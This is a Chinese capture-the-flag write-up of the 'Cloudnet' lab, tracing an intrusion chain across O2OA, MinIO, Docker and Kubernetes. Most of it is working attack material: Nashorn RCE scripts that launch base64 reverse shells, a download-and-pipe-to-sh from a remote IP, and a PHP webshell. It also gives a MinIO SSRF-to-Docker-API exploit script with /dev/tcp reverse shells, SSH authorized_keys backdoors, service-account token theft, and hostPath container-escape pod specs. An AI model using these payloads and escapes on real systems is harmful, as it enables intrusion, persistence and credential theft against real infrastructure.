春秋云镜-Cloudnet
flag1(O2oa)
8080端口一进去就是O2oa的后台登录界面
O2oa 默认账密 xadmin/o2oa@2022
登录进去,在应用——服务管理——接口配置新建一个接口
1
2
3
4
5
6
7
8
9
10
var a = mainOutput();
function mainOutput() {
var classLoader = Java.type("java.lang.ClassLoader");
var systemClassLoader = classLoader.getSystemClassLoader();
var runtimeMethod = systemClassLoader.loadClass("java.lang.Runtime");
var getRuntime = runtimeMethod.getDeclaredMethod("getRuntime");
var runtime = getRuntime.invoke(null);
var exec = runtimeMethod.getDeclaredMethod("exec", Java.type("java.lang.String"));
exec.invoke(runtime, "bash -c {echo,YmFz...MQ==}|{base64,-d}|{bash,-i}");
}
waf了java.lang.Class类,换一个核心类
1
2
3
4
5
6
7
8
9
10
11
var a = mainOutput();
function mainOutput() {
var threadClazz = Java.type("java.lang.Thread");
var classLoader = threadClazz.currentThread().getContextClassLoader();
var rtClazz = classLoader.loadClass("java.lang.Runtime");
var stringClazz = classLoader.loadClass("java.lang.String");
var getRuntimeMethod = rtClazz.getMethod("getRuntime");
var execMethod = rtClazz.getMethod("exec", stringClazz);
var runtimeObj = getRuntimeMethod.invoke(rtClazz);
return execMethod.invoke(runtimeObj, "bash -c {echo,YmFza...MQ==}|{base64,-d}|{bash,-i}");
}
记得取消鉴权
vps监听上线
拿到flag
这里没有curl命令,用py上线vshell
1
python3 -c "import urllib.request;print(urllib.request.urlopen('http://8.148.230.29:8084/slt').read().decode())" | sh
1
python -c "import urllib;print urllib.urlopen('http://8.148.230.29:8084/slt').read()" | sh
flag2(minio-ak-sk)
1
cat /proc/1/cgroup | grep -i docker
发现是台docker容器
在系统配置-json配置-externalStorageSources (文件存储配置)看到minio的ak-sk以及ip端口
或者直接
1
grep -r "password" config
1
2
3
onfig/externalStorageSources.json: "password": "TGdtqwJbBrEMhCCMDVtlHKU=",
config/token.json: "password": "(ENCRYPT:tOK_FdwfDdZ1_86kEO8X_A)",
config/externalDataSources.json: "password" :"o2oa@2022",
搭好代理访问minio,登录后发现除了o2oa,还有个portal站,测试发现里面的网站结构跟入口机80端口的web服务是一样的,上传php一句话木马,等待minio跟入口机进行数据同步(每十分钟)
连接蚁剑,拿到flag
flag3(minio SSRF + 2375端口docker api容器挂载逃逸)
一句话上线,扫内网
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.18.23 is alive
(icmp) Target 172.22.18.29 is alive
(icmp) Target 172.22.18.64 is alive
(icmp) Target 172.22.18.61 is alive
[*] Icmp alive hosts len is: 4
172.22.18.29:9000 open
172.22.18.23:8080 open
172.22.18.61:80 open
172.22.18.64:80 open
172.22.18.61:22 open
172.22.18.64:22 open
172.22.18.29:22 open
172.22.18.23:80 open
172.22.18.23:22 open
172.22.18.61:10250 open
[*] alive ports len is: 10
start vulscan
[*] WebTitle http://172.22.18.23 code:200 len:12592 title:广城市人民医院
[*] WebTitle http://172.22.18.64 code:200 len:785 title:Harbor
[+] InfoScan http://172.22.18.64 [Harbor]
[*] WebTitle http://172.22.18.23:8080 code:200 len:282 title:None
[*] WebTitle http://172.22.18.29:9000 code:307 len:43 title:None 跳转url: http://172.22.18.29:9000/minio/
[*] WebTitle http://172.22.18.61 code:200 len:8710 title:医院内部平台
[*] WebTitle https://172.22.18.61:10250 code:404 len:19 title:None
[*] WebTitle http://172.22.18.29:9000/minio/ code:200 len:2281 title:MinIO Browser
[+] PocScan http://172.22.18.64/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]
扫到Harbor,可以直接上工具下载docker容器文件
1
python harbor.py http://172.22.18.64
1
python harbor.py http://172.22.18.64/ --dump public/mysql --v2
也可以直接docker pull拉镜像
dockerd 设置 HTTP/HTTPS 代理
在/etc/systemd/system/docker.service.d/http-proxy.conf添加
1
2
[Service]
Environment="HTTP_PROXY=socks5://8.148.230.29:7878/"
如果拉取失败,需要在/etc/docker/daemon.json添加insecure-registries字段,允许 Docker 与指定的非 HTTPS 私有镜像仓库(IP 为 172.22.18.64)进行通信
1
2
3
{
"insecure-registries": ["172.22.18.64"]
}
配置后重启服务
1
2
systemctl daemon-reload
systemctl restart docker
拉取镜像之后创建容器,但是里面没什么东西
1
2
docker pull 172.22.18.64/public/mysql:5.6
docker run -itd --name cloud 172.22.18.64/public/mysql:5.6
支持后续 docker exec -it cloud bash 进入容器操作
https://zone.huoxian.cn/d/2801-minio-ssrf-docker-api
那就跟文章打minio SSRF + 2375端口docker api,创建恶意容器挂载逃逸
测试发现没有wget和curl
我们就用大头师傅的用exec重写的脚本
一共四个包:
- 第一个包:创建一个172.22.18.64/public/mysql:5.6镜像的容器,将宿主机的根目录挂载到容器的
/mnt,以特权模式运行;并从 Docker daemon 的响应中解析出新创建的容器的 ID,并将其保存到/tmp/id文件中,供后续启动使用 - 第二个包:启动指定 ID 的容器,即第一个包创建的容器
- 第三个包:在该容器内部创建一个新的执行实例 (即反弹shell命令),从 Docker daemon 的响应中解析出新创建的 exec 实例的 ID,并将其保存到
/tmp/id2文件中,这个 ID 和容器 ID 是不同的,它是用于管理这个特定exec会话的 ID - 第四个包:触发并执行这个
exec实例,反弹shell(记得先在入口机起一个nc监听)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env bash
# 1
exec 3<>/dev/tcp/172.17.0.1/2375
lines=(
'POST /containers/create HTTP/1.1'
'Host: 172.17.0.1:2375'
'Connection: close'
'Content-Type: application/json'
'Content-Length: 133'
''
'{"HostName":"remoteCreate","User":"root","Image":"172.22.18.64/public/mysql:5.6","HostConfig":{"Binds":["/:/mnt"],"Privileged":true}}'
)
printf '%s\r\n' "${lines[@]}" >&3
while read -r data <&3; do
echo $data
if [[ $data == '{"Id":"'* ]]; then
echo $data | sed -n 's/.*"Id":"\([^"]*\)".*/\1/p' > /tmp/id
fi
done
exec 3>&-
# 2
exec 3<>/dev/tcp/172.17.0.1/2375
lines=(
"POST /containers/`cat /tmp/id`/start HTTP/1.1"
'Host: 172.17.0.1:2375'
'Connection: close'
'Content-Type: application/x-www-form-urlencoded'
'Content-Length: 0'
''
)
printf '%s\r\n' "${lines[@]}" >&3
while read -r data <&3; do
echo $data
done
exec 3>&-
# 3
exec 3<>/dev/tcp/172.17.0.1/2375
lines=(
"POST /containers/`cat /tmp/id`/exec HTTP/1.1"
'Host: 172.17.0.1:2375'
'Connection: close'
'Content-Type: application/json'
'Content-Length: 75'
''
'{"Cmd": ["/bin/bash", "-c", "bash -i >& /dev/tcp/172.22.18.23/10087 0>&1"]}'
)
printf '%s\r\n' "${lines[@]}" >&3
while read -r data <&3; do
echo $data
if [[ $data == '{"Id":"'* ]]; then
echo $data | sed -n 's/.*"Id":"\([^"]*\)".*/\1/p' > /tmp/id2
fi
done
exec 3>&-
# 4
exec 3<>/dev/tcp/172.17.0.1/2375
lines=(
"POST /exec/`cat /tmp/id2`/start HTTP/1.1"
'Host: 172.17.0.1:2375'
'Connection: close'
'Content-Type: application/json'
'Content-Length: 27'
''
'{"Detach":true,"Tty":false}'
)
printf '%s\r\n' "${lines[@]}" >&3
while read -r data <&3; do
echo $data
done
exec 3>&-
# 5
bash -i >& /dev/tcp/172.22.18.23/8899 0>&1
此时入口机充当恶意服务器,后续将minio请求重定向到docker api,首先将上面exp转base64写入到入口机/var/www/html/Dockerfile
1
2
3
4
FROM 172.22.18.64/public/mysql:5.6
RUN echo IyEvdXNyL2Jpbi9lbnYgYmFzaAoKIyAxCmV4ZWMgMzw+L2Rldi90Y3AvMTcyLjIyLjE4LjI5LzIzNzUKbGluZXM9KAogICAgJ1BPU1QgL2NvbnRhaW5lcnMvY3JlYXRlIEhUVFAvMS4xJwogICAgJ0hvc3Q6IDE3Mi4yMi4xOC4yOToyMzc1JwogICAgJ0Nvbm5lY3Rpb246IGNsb3NlJwogICAgJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicKICAgICdDb250ZW50LUxlbmd0aDogMTMzJwogICAgJycKICAgICd7Ikhvc3ROYW1lIjoicmVtb3RlQ3JlYXRlIiwiVXNlciI6InJvb3QiLCJJbWFnZSI6IjE3Mi4yMi4xOC42NC9wdWJsaWMvbXlzcWw6NS42IiwiSG9zdENvbmZpZyI6eyJCaW5kcyI6WyIvOi9tbnQiXSwiUHJpdmlsZWdlZCI6dHJ1ZX19JwopCnByaW50ZiAnJXNcclxuJyAiJHtsaW5lc1tAXX0iID4mMwp3aGlsZSByZWFkIC1yIGRhdGEgPCYzOyBkbwogICAgZWNobyAkZGF0YQogICAgaWYgW1sgJGRhdGEgPT0gJ3siSWQiOiInKiBdXTsgdGhlbgogICAgICAgIGVjaG8gJGRhdGEgfCBzZWQgLW4gJ3MvLioiSWQiOiJcKFteIl0qXCkiLiovXDEvcCcgPiAvdG1wL2lkCiAgICBmaQpkb25lCmV4ZWMgMz4mLQoKIyAyCmV4ZWMgMzw+L2Rldi90Y3AvMTcyLjIyLjE4LjI5LzIzNzUKbGluZXM9KAogICAgIlBPU1QgL2NvbnRhaW5lcnMvYGNhdCAvdG1wL2lkYC9zdGFydCBIVFRQLzEuMSIKICAgICdIb3N0OiAxNzIuMjIuMTguMjk6MjM3NScKICAgICdDb25uZWN0aW9uOiBjbG9zZScKICAgICdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcKICAgICdDb250ZW50LUxlbmd0aDogMCcKICAgICcnCikKcHJpbnRmICclc1xyXG4nICIke2xpbmVzW0BdfSIgPiYzCndoaWxlIHJlYWQgLXIgZGF0YSA8JjM7IGRvCiAgICBlY2hvICRkYXRhCmRvbmUKZXhlYyAzPiYtCgojIDMKZXhlYyAzPD4vZGV2L3RjcC8xNzIuMjIuMTguMjkvMjM3NQpsaW5lcz0oCiAgICAiUE9TVCAvY29udGFpbmVycy9gY2F0IC90bXAvaWRgL2V4ZWMgSFRUUC8xLjEiCiAgICAnSG9zdDogMTcyLjIyLjE4LjI5OjIzNzUnCiAgICAnQ29ubmVjdGlvbjogY2xvc2UnCiAgICAnQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJwogICAgJ0NvbnRlbnQtTGVuZ3RoOiA3NScKICAgICcnCiAgICAneyJDbWQiOiBbIi9iaW4vYmFzaCIsICItYyIsICJiYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4xOC4yMy8xMDMyMSAwPiYxIl19JwopCnByaW50ZiAnJXNcclxuJyAiJHtsaW5lc1tAXX0iID4mMwp3aGlsZSByZWFkIC1yIGRhdGEgPCYzOyBkbwogICAgZWNobyAkZGF0YQogICAgaWYgW1sgJGRhdGEgPT0gJ3siSWQiOiInKiBdXTsgdGhlbgogICAgICAgIGVjaG8gJGRhdGEgfCBzZWQgLW4gJ3MvLioiSWQiOiJcKFteIl0qXCkiLiovXDEvcCcgPiAvdG1wL2lkMgogICAgZmkKZG9uZQpleGVjIDM+Ji0KCiMgNApleGVjIDM8Pi9kZXYvdGNwLzE3Mi4yMi4xOC4yOS8yMzc1CmxpbmVzPSgKICAgICJQT1NUIC9leGVjL2BjYXQgL3RtcC9pZDJgL3N0YXJ0IEhUVFAvMS4xIgogICAgJ0hvc3Q6IDE3Mi4yMi4xOC4yOToyMzc1JwogICAgJ0Nvbm5lY3Rpb246IGNsb3NlJwogICAgJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicKICAgICdDb250ZW50LUxlbmd0aDogMjcnCiAgICAnJwogICAgJ3siRGV0YWNoIjp0cnVlLCJUdHkiOmZhbHNlfScKKQpwcmludGYgJyVzXHJcbicgIiR7bGluZXNbQF19IiA+JjMKd2hpbGUgcmVhZCAtciBkYXRhIDwmMzsgZG8KICAgIGVjaG8gJGRhdGEKZG9uZQpleGVjIDM+Ji0KCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTcyLjIyLjE4LjIzLzg4OTkgMD4mMQ== | base64 -d > /tmp/sim.sh
RUN chmod +x /tmp/sim.sh && /tmp/sim.sh
接着在入口机创建/var/www/html/index.php,并写入
1
2
<?php
header('Location: http://127.0.0.1:2375/build?remote=http://172.22.18.23/Dockerfile&nocache=true&t=evil:114514', false, 307);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
`127.0.0.1:2375` 目标服务:Docker Daemon 默认未加密 API 端口
Docker 未配置权限、未开启 TLS 加密时,本地 2375 端口提供 HTTP 接口,可无权限操作容器、镜像、读写宿主机文件,高危内网接口。
`/build` Docker API 接口作用:
Docker 原生 API `/build`**远程构建镜像** 接收参数,拉取远程地址的 Dockerfile,直接构建新镜像。攻击者利用这个接口植入恶意镜像。
remote`:Docker build 接口参数,指定远程 Dockerfile 下载地址
访问本机 Docker 时,Docker 会主动去攻击者服务器下载恶意构建脚本。
nocache=true
构建镜像时不使用缓存,强制重新拉取远程 Dockerfile,避免缓存干扰攻击。
-t: 参数,给构建出来的镜像打标签:镜像名
evil:版本-114514,方便后续启动容器。
这里通过307跳转来实现post请求,并配合remote参数通过指定远程URL的方式来构建镜像
307 和 302 / 301 关键对比:
| 状态码 | 类型 | 请求方法保留 | 请求体保留 | 缓存 | SSRF 利用价值 |
|---|---|---|---|---|---|
| 301 | 永久重定向 | GET/HEAD 才保留,POST 变 GET | 丢弃 | 浏览器长期缓存 | 低,无法 POST 发包 |
| 302 | 临时重定向 | 全部强制转 GET | 丢弃 | 不缓存 | 低,只能 GET 扫端口 |
| 307 | 临时重定向 | 完全保留原方法 | 完整携带 | 不缓存 | 极高,可 POST 内网接口 |
接着删除入口机的/var/www/html/index.html,不然minio会优先访问index.html而不是index.php,在minio上把portal站的index.html也删掉,否则数据同步之后index.html又会在入口机生成
然后就可以打Minio的SSRF漏洞,入口机开启监听,请求包Host修改为入口机内网ip,实际发包地址为172.22.18.29:9000
1
2
3
4
5
6
7
POST /minio/webrpc HTTP/1.1
Host: 172.22.18.23
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: application/json
Content-Length: 76
{"id":1,"jsonrpc":"2.0","params":{"token":"Test"},"method":"web.LoginSTS"}
接收到shell后在挂载目录查看到第三个flag
流程:
1
172.22.18.29-->访问172.22.18.23-->重定向172.22.18.29:2375构建容器
然后写ssh公钥留后门
1
echo -e "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxDUYy6bN2mT1oKkkpyyiw0aDUOcGtIXzHaUZLDEBDvhnv/nMxIGmo4OnkcMyMu+QqGXm+ldKUh6ebL4UYY2l6/pMX0soOIe2B6/D1XyaShFjXfRULsLm1bJmSfIvgpLBNWkFGv7HBjCrcRm4Jpag3bybgaEcBCWKTobMe5T36dSiCGgql/DBNigbxnLJFTRLXI2WTSkpu/Lx+jf+32s6kQG0eD5CcE/PRk9BNRVSBAW6zu8RqK8LVgy85avGBSUpgeNBHwA2BLnvWmgckxVzxWRFPzUS+gj4r5g/hzBxeSPM+2CY8JGFGH/ZcJ9hXRNfJgMVDEnFVtQcC6AMOGUoOYRvK85N0uo+JUY00TxqqJUKF04ixSKWwyy0Y9yflnfPA8z6xMaQWJk6ROFMqbD3vG3CmjSVwPqx2S5HeTBiE4uhKJlpiLXtCbigG6tBF/9Iuqntp8B/mYgaOlsRbETeoUXMQTs7GN4oGCwOr/t47AQ2kUVrw/KSi1PWF/rjJDvo70H07c49QI6KtSYIarWGTy1j0koGgjio3dSnoEJaFKvWm6Icz1c3H/7B1eceAmES9yMPMgeLR/pnqDBRJpAak8WNRSRxvk9jZ3e3QVsZiS70BoW9VBoGKSNGAgmUC/xn0Su3XkuNrXNqUKcgu1+eJALOZ83SO6RURg3zt+hx5tw== kali@kali\n\n" >> /mnt/root/.ssh/authorized_keys
flag4& flag5 & flag6(极致cms(ThinkPHP)多语言模块文件包含RCE)
通过http://172.22.18.61访问不存在路径可以得知是极致cms,用的thinkphp框架
蚁剑连接后配置文件看到mysql账密
用蚁剑自带的数据库连接
select user();显示的ip并不是mysql服务器所在的ip,而是当前连接的客户端IP,现在是通过web服务器去连接mysql,所以显示的ip应该是极致cms那台的ip
查看mysql数据库主机名
1
2
SHOW VARIABLES LIKE 'hostname';
//mysql-6df876d6dc-f6qfg
接着回去webshell看一下主机信息,发现是在Kubernetes中,结合hostname,该机器应该是某个node用来运行web服务的container(这里看到172.20.166.134对应的主机名是web-app-d57c8d67-rm2nk,也印证了前面ip是web服务器而非mysql服务器的ip)
1
2
3
4
5
6
7
8
9
(www-data:/var/www/html) $ cat /etc/hosts
# Kubernetes-managed hosts file.
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
172.20.166.134 web-app-d57c8d67-rm2nk
默认路径获取 Kubernetes 的sa token
用默认挂载路径读一下token,在mysql用load_file函数读取文件,拿到一个sa token
1
select load_file("/var/run/secrets/kubernetes.io/serviceaccount/token");
1
eyJhbGciOiJSUzI1NiIsImtpZCI6IlRSaDd3eFBhYXFNTkg5OUh0TnNwcW00c0Zpand4LUliXzNHRU1raXFjTzQifQ.eyJhdWQiOlsiYXBpIiwiaXN0aW8tY2EiXSwiZXhwIjoxODE3NDc1MzU5LCJpYXQiOjE3ODU5MzkzNTksImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2YyIsImp0aSI6IjlkMzJmMzliLWZhOWItNDFjMi05YTU3LWI1OWY3NjY5YWM1ZSIsImt1YmVybmV0ZXMuaW8iOnsibmFtZXNwYWNlIjoiZGVmYXVsdCIsIm5vZGUiOnsibmFtZSI6Im5vZGUyIiwidWlkIjoiYjAzYjUwZTgtOTBkOS00YjdkLWFmM2EtMGZiMjY3MWUyNjFmIn0sInBvZCI6eyJuYW1lIjoibXlzcWwtNmRmODc2ZDZkYy1mNnFmZyIsInVpZCI6ImNmMzMyYjUxLWM2NDYtNDExNi04ZGRhLTFmMDJiZTAyM2FmZSJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoibXlzcWwiLCJ1aWQiOiJhNTMyNDZlNy0yZDFkLTQxMzMtOGM4OS05ZGNhMWI5YmIxNGYifSwid2FybmFmdGVyIjoxNzg1OTQyOTY2fSwibmJmIjoxNzg1OTM5MzU5LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpteXNxbCJ9.YgCU1fLOXlequz1YGgFbjcmJhoido7O7rdSpJM2MtP6crxF7GhuSUwThyffhi9NH7upAIORSkbn5hrNtfLfYgyAokUxWQNi1A32MsrgwQLHwb9K_GtCcQxs7JzKpkiVj-l7JPRd7_mfCQ2nPxN935wjmcCKMlWBmAK5rWKmkjrJ3kmHrjJfbKtdcHnmIxynBZssH1204X2FWa-UYh_CKoevSp5Zcy-BbePF8955F5wukHP9jXm-SKl2ZcxKb6ac3aTHZcYOByofoDuL8kY0roNN3ymQi_6rOtsxQCGkUgXjOQ6H2_gx-i9Bce_9CaffNt5Z_BZPULsGmbYKEIzvarA
拿极致那台web服务器在同样位置读取token,发现不一样,说明确实是站库分离的
1
eyJhbGciOiJSUzI1NiIsImtpZCI6IlRSaDd3eFBhYXFNTkg5OUh0TnNwcW00c0Zpand4LUliXzNHRU1raXFjTzQifQ.eyJhdWQiOlsiYXBpIiwiaXN0aW8tY2EiXSwiZXhwIjoxODE3NDc4MTYzLCJpYXQiOjE3ODU5NDIxNjMsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2YyIsImp0aSI6ImUzYWY5OTQ1LTg2YzktNGNiMy05NDc5LTc0ODdmNTRiYTA1NSIsImt1YmVybmV0ZXMuaW8iOnsibmFtZXNwYWNlIjoiZGVmYXVsdCIsIm5vZGUiOnsibmFtZSI6Im5vZGUxIiwidWlkIjoiOTZmODJhNTEtNjk3NC00NDNjLWJlODYtZDM3Y2Y4MzU4ZTE1In0sInBvZCI6eyJuYW1lIjoid2ViLWFwcC1kNTdjOGQ2Ny1ybTJuayIsInVpZCI6IjI0NGNlYzY0LTNkODAtNGNjMy05Y2Q1LTc3NjM0Y2RlMjY4MiJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6ImM1OGMyZDU0LTYxOWMtNDU5OC05N2Q1LTJkMjM0YjZmOWIxZSJ9LCJ3YXJuYWZ0ZXIiOjE3ODU5NDU3NzB9LCJuYmYiOjE3ODU5NDIxNjMsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.MyP9SBjIjVWU-3xk5R2iH-a2u_6HqAs7aT3vqOLoZfVsQUSwMKSAy9p4afBJdLQCZZpzP4mgA_7UQF4JyOimqr8Npd3lo6x2jNL5sMgQhh_FWfME4CUlhLraRzPhZ9peI4SQ1M4wZ967FG9zZySHqrH5jy8dGbgWdSLY14LiDm8LGGQdzC1-ZmC1mUSwfGY_XTzPaUiZBWXI1W6lh1409MmCMV37Sis4SALcFOAb8lPJ1vKbDAlPya-YZRkqHZpVKuMULTuBSTog10EGaB04dgyMHPzyvf56zoD_vFjl27pTRztmhj9RzYhi0ps4R2ZmAGAFKdLEzPbWWIdSymy94w
Kubernetes Dashboard 容器挂载逃逸
极致那台机传fscan,扫一下全端口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
start infoscan
172.22.18.61:22 open
172.22.18.61:80 open
172.22.18.61:111 open
172.22.18.61:179 open
172.22.18.61:9253 open
172.22.18.61:9353 open
172.22.18.61:10248 open
172.22.18.61:10256 open
172.22.18.61:10250 open
172.22.18.61:10249 open
172.22.18.61:30020 open
172.22.18.61:32686 open
[*] alive ports len is: 12
start vulscan
[*] WebTitle http://172.22.18.61:9353 code:404 len:19 title:None
[*] WebTitle http://172.22.18.61:9253 code:404 len:19 title:None
[*] WebTitle http://172.22.18.61:10249 code:404 len:19 title:None
[*] WebTitle http://172.22.18.61:10256 code:404 len:19 title:None
[*] WebTitle https://172.22.18.61:32686 code:200 len:1422 title:Kubernetes Dashboard
[+] InfoScan https://172.22.18.61:32686 [Kubernetes]
[*] WebTitle http://172.22.18.61:10248 code:404 len:19 title:None
[*] WebTitle http://172.22.18.61 code:200 len:8710 title:医院内部平台
[*] WebTitle https://172.22.18.61:10250 code:404 len:19 title:None
[*] WebTitle http://172.22.18.61:30020 code:200 len:8710 title:医院内部平台
扫到 Kubernetes Dashboard 端口为32686(Dashboard 默认端口为 30000-32767 范围内的随机端口)
用mysql服务器或者极致cms服务器读取的token都可以登录,但是用极致那台token进去之后权限很小,基本什么都看不到,mysql服务器读的token权限就很高
编写yaml,创建一个容器挂载逃逸(node1节点的镜像用 jizhicms )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
apiVersion: v1
# K8s资源API版本,Pod基础资源固定v1
kind: Pod
# 资源类型:直接创建一个Pod(无Deployment控制器管理,一次性Pod)
metadata:
name: hunsil
# Pod名称为hunsil
spec:
# Pod运行配置
containers:
# 容器列表(当前单容器)
- image: 172.22.18.64/hospital/jizhicms:2.5.0
# 使用Harbor私有镜像仓库的极致cms镜像,对应你拓扑里Node1的网站镜像
name: test-container
# 容器内部名称
volumeMounts:
# 容器内挂载配置
- mountPath: /hunsil
# 在容器内部,把宿主机目录挂载到容器的 /hunsil 文件夹
name: test-volume
# 关联下方定义的存储卷名称test-volume
volumes:
# Pod使用的存储卷定义
- name: test-volume
# 卷名,和上面mount匹配
hostPath:
path: /
# 核心高危配置:宿主机**根目录/** 全部挂载进容器
可以在 Dashboard 直接管理shell,逃逸到node1节点的宿主机后在根目录看到第四个flag
继续写yaml,逃逸node2跟master节点,直接通过Dashboard自带shell查看flag即可
注意:这里node2跟master节点如果镜像继续直接用172.22.18.64/hospital/jizhicms:2.5.0会创建容器失败,得到如下报错,因为该镜像是私有镜像,无法直接拉取
查看原本node1节点中的pod,可以看到 Kubernetes 的 Secrets 资源有一个harbor-registry-secret,接下来就可以通过添加imagePullSecrets来进行对私有镜像仓库认证,从而拉取 jizhicms:2.5.0镜像
master:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
apiVersion: v1
kind: Pod
metadata:
name: hunsil2
spec:
nodeName: master # node2
imagePullSecrets:
- name: harbor-registry-secret
tolerations:
- key: node.kubernetes.io/unschedulable
operator: Exists
effect: NoSchedule
containers:
- name: mycontainer
image: 172.22.18.64/hospital/jizhicms:2.5.0
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: test
mountPath: /admin222
volumes:
- name: test
hostPath:
path: /
type: Directory
node2:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
apiVersion: v1
kind: Pod
metadata:
name: hunsil3
spec:
nodeName: node2
imagePullSecrets:
- name: harbor-registry-secret
tolerations:
- key: node.kubernetes.io/unschedulable
operator: Exists
effect: NoSchedule
containers:
- name: mycontainer
image: 172.22.18.64/hospital/jizhicms:2.5.0
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: test
mountPath: /admin333
volumes:
- name: test
hostPath:
path: /
type: Directory
那为什么拉mysql:5.6镜像就可以直接挂载node2跟master节点呢,可以看一下原本node2节点中的pod就是由mysql:5.6拉取的,其SA为mysql
继续查看该mysql账户,属于admin角色,点进去发现是有众多权限的,这也解释了为什么通过mysql那台服务器读取的 token 有高权限的原因,并且node2跟master节点都能通过mysql:5.6镜像去进行挂载逃逸
flag7
任选一个从容器逃逸出来的node宿主机,查看/etc/hosts能够获取三个节点对应的node ip
172.22.18.61虽然对应的是node1节点的宿主机ip,但是其80端口对应的是pod里container的web服务
写个公钥
1
echo -e "\n\nssh-rsa AAAAB3N...waQ== root@kali\n\n" >> /hunsil/root/.ssh/authorized_keys
连接成功
查看网卡,一个是node ip,一个是外网ip(这里的外网指的是相对于kubernetes环境的外网)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.15.45 netmask 255.255.0.0 broadcast 172.22.255.255
inet6 fe80::216:3eff:fe37:f660 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:37:f6:60 txqueuelen 1000 (Ethernet)
RX packets 65883 bytes 29270537 (27.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 173965 bytes 40294589 (38.4 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.18.61 netmask 255.255.0.0 broadcast 172.22.255.255
inet6 fe80::216:3eff:fe37:f614 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:37:f6:14 txqueuelen 1000 (Ethernet)
RX packets 286612 bytes 279041525 (266.1 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 7634 bytes 1230043 (1.1 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
传个fscan扫一下172.22.15.75
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
start infoscan
172.22.15.75:179 open
172.22.15.75:22 open
172.22.15.75:111 open
172.22.15.75:2380 open
172.22.15.75:2379 open
172.22.15.75:5000 open
172.22.15.75:6443 open
172.22.15.75:9253 open
172.22.15.75:9353 open
172.22.15.75:10259 open
172.22.15.75:10249 open
172.22.15.75:10257 open
172.22.15.75:10250 open
172.22.15.75:10256 open
172.22.15.75:10248 open
172.22.15.75:30020 open
172.22.15.75:32686 open
[*] alive ports len is: 17
start vulscan
[*] WebTitle http://172.22.15.75:9253 code:404 len:19 title:None
[*] WebTitle http://172.22.15.75:9353 code:404 len:19 title:None
[*] WebTitle http://172.22.15.75:5000 code:200 len:0 title:None
[*] WebTitle http://172.22.15.75:10248 code:404 len:19 title:None
[*] WebTitle https://172.22.15.75:32686 code:200 len:1422 title:Kubernetes Dashboard
[*] WebTitle http://172.22.15.75:10249 code:404 len:19 title:None
[*] WebTitle http://172.22.15.75:10256 code:404 len:19 title:None
[*] WebTitle https://172.22.15.75:10250 code:404 len:19 title:None
[*] WebTitle https://172.22.15.75:6443 code:401 len:157 title:None
[*] WebTitle https://172.22.15.75:10257 code:403 len:217 title:None
[+] InfoScan https://172.22.15.75:32686 [Kubernetes]
[*] WebTitle https://172.22.15.75:10259 code:403 len:217 title:None
可以看到开放了6443端口,https://172.22.15.75:6443指向的是 Kubernetes API Server,只是一个是node ip,验证一下,可以直接用 kubectl 直接指定 token 执行命令
1
kubectl -s https://172.22.15.75:6443/ --insecure-skip-tls-verify=true --token=eyJhbGci... describe nodes
这里列出集群所有资源类型,可以看到有secrets资源
1
kubectl --kubeconfig k8s.yaml api-resources
显示secrets资源,发现前面Dashboard中看到的harbor-registry-secret,打印出来
1
2
3
kubectl --kubeconfig k8s.yaml get secrets
kubectl --kubeconfig k8s.yaml get secrets harbor-registry-secret
kubectl --kubeconfig k8s.yaml get secret harbor-registry-secret -o jsonpath='{.data.\.dockerconfigjson}'
base64解码得到 harbor 的admin账密
1
